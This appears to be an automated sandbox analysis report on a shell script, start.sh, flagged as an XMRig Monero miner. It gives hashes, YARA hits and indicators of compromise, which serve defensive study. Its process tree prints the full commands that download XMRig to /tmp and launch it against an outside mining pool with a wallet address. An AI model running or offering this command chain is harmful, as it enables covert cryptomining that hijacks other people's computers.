xmrig | 3a9ef4c00e2aa7392ee7694a97369c4704a2558c5e3f60d0d4c08d85edb40415

Analysis

max time kernel
43s
max time network
45s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
20-03-2024 21:37

Target

start.sh
Size

587B
MD5

60908850cbaa3ea10f537854675c5017
SHA1

ff4713b46e81dbe16a83efd12b0c274ee8f84893
SHA256

3a9ef4c00e2aa7392ee7694a97369c4704a2558c5e3f60d0d4c08d85edb40415
SHA512

eec5e1b0c381b01b1866925dd5f593ed658215ca88cf9d3eee711e96d6617434896cf12b297e81fbc2e42eb01a474ff92473ac43ad639f23a515a5958084c407

Score

10^/10

xmrig miner

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral5/files/fstream-3.dat	family_xmrig
behavioral5/files/fstream-3.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/xmrig-6.21.1/xmrig	775	xmrig

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	tar

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xmrig-6.21.1-linux-static-x64.tar.gz	curl

/tmp/start.sh
/tmp/start.sh
1⤵
PID:695
- /usr/bin/curl
  curl -L https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-linux-static-x64.tar.gz -o xmrig-6.21.1-linux-static-x64.tar.gz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:698
- /bin/tar
  tar -xvf xmrig-6.21.1-linux-static-x64.tar.gz
  2⤵
  - Reads runtime system information
  PID:773
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:774
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:774
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:774
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:774
- - /sbin/gzip
    gzip -d
    3⤵
    PID:774
- - /bin/gzip
    gzip -d
    3⤵
    PID:774
- /tmp/xmrig-6.21.1/xmrig
  ./xmrig --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
  2⤵
  - Executes dropped EXE
  PID:775

/tmp/xmrig-6.21.1-linux-static-x64.tar.gz

Filesize
804KB

MD5
8095b5975f60740497ee16dded0863ca

SHA1
76bd914c066f80b8f8530f3284abe09dd3264313

SHA256
b1ff284d31110278966bda01581c5ae3a30ccad6f2e2184b7df26d0857cb23ee

SHA512
d219603dfbda5b5e6f5fb014e3b48d2478443db7771a5cee442fbf71129a7e29deb5e5cb03c07669cba4ae29d32703c83f13181ad5d50b0f2409178b70fffcb5

Download Submit
/tmp/xmrig-6.21.1/SHA256SUMS

Filesize
150B

MD5
aa5b108a656f868047990ffe924da82b

SHA1
118a8199507eb3eb40c03520b5b3b774e86cb40b

SHA256
0cd87c42d76e181e459e855fa1be19a8ba0add9378aa25cfa70c815c9b0967dd

SHA512
9fc3807efbb407163322bfcdd4415c114013bd2a8f89daca715b2cca2514e9d6f404d42bfd76c141784c64f4594e6bbf4c6551a58691eb961bc6740e15d1800d

Download Submit
/tmp/xmrig-6.21.1/config.json

Filesize
2KB

MD5
66f38c96a4901e7b345787c447842b3e

SHA1
2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

SHA256
2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

SHA512
71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

Download Submit
/tmp/xmrig-6.21.1/xmrig

Filesize
5.0MB

MD5
71d89e192b930afeada485419f213643

SHA1
447d2aeed6e048f95860b890e0d1f7ff72783e7b

SHA256
a8f5f90b14549fd00c5b0809fb6bcf6f7617e5c39c098a2ee7cef6115e6eca21

SHA512
32d91ed80cb16a8d9d4ba6dce901d3fad32e70e212addc21a045cd30c9ea1614be0a7c4a91166e685209427a3849b62b683567281628376f9a98dd4485438e42

Download Submit